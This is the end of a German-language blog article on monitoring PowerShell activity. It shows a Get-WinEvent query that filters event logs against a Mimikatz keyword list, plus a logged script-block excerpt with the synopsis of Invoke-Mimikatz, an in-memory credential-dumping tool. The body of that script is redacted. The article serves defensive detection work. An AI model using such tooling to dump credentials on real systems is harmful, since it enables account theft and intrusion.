PS C:\> $logs = Get-WinEvent -ErrorAction SilentlyContinue -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"} | Where { $_.Message -imatch $keywordsMimikatz }
PS C:\> $logs123.Message
Creating Scriptblock text (1 of 131):
function Invoke-Mimikatz
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing
the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers…
<redacted by scip AG>

In dem Logeintrag befindet sich im Script Block die Definition der Funktion Invoke-Mimikatz. Es kann dementsprechend davon ausgegangen werden, dass es sich bei den aufgezeichneten Ereignissen um einen Angriff handelte.

Zusammenfassung

Wie jede anderen Monitoring-Lösung ist es auch bei der Analyse von PowerShell-Aktivitäten so, dass die Konfiguration und Zusammenstellung von Filtern regelmässig überprüft und optimiert werden muss, damit diese effektiv arbeiten und sinnvoll eingesetzt werden können. Es reicht nicht aus, das Sammeln von Eventlogs zu implementieren und eine einmalig zusammengetragene Liste von Merkmalen oder Signaturen zur Auswertung einzusetzen. Eine solche Liste sollte neuen Entwicklungen entsprechend erweitert werden.

In der Initialisierungsphase des Monitoring sollte ein Grundverständnis für die PowerShell-Aktivitäten innerhalb der eigenen Infrastruktur entwickelt werden. Daraus kann abgeleitet werden, welche Tools und Skripte regelmässig ausgeführt werden und für den Betrieb notwendig sind. Mit diesem Wissen kann die Monitoring-Lösung fein eingestellt werden, um sowohl False-Positive-Alarme zu verhindern als auch die Erkennung von Anomalien in der Infrastruktur zu verbessern.

Wenn eine solche Anomalie erkennt und ein Alarm ausgelöst wird, muss dieser sorgfältig untersucht werden. Dabei können die Aufzeichnungen aller Aktivitäten eines Script Blocks genutzt werden. Diese Analyse sollte es möglich machen, eine Bedrohung für die Infrastruktur zu erkennen. Eine IT-Sicherheit-Abteilung, die eine solche PowerShell-Monitoring Lösung aufbaut und betreibt, wird zukünftig wieder ruhiger schlafen können.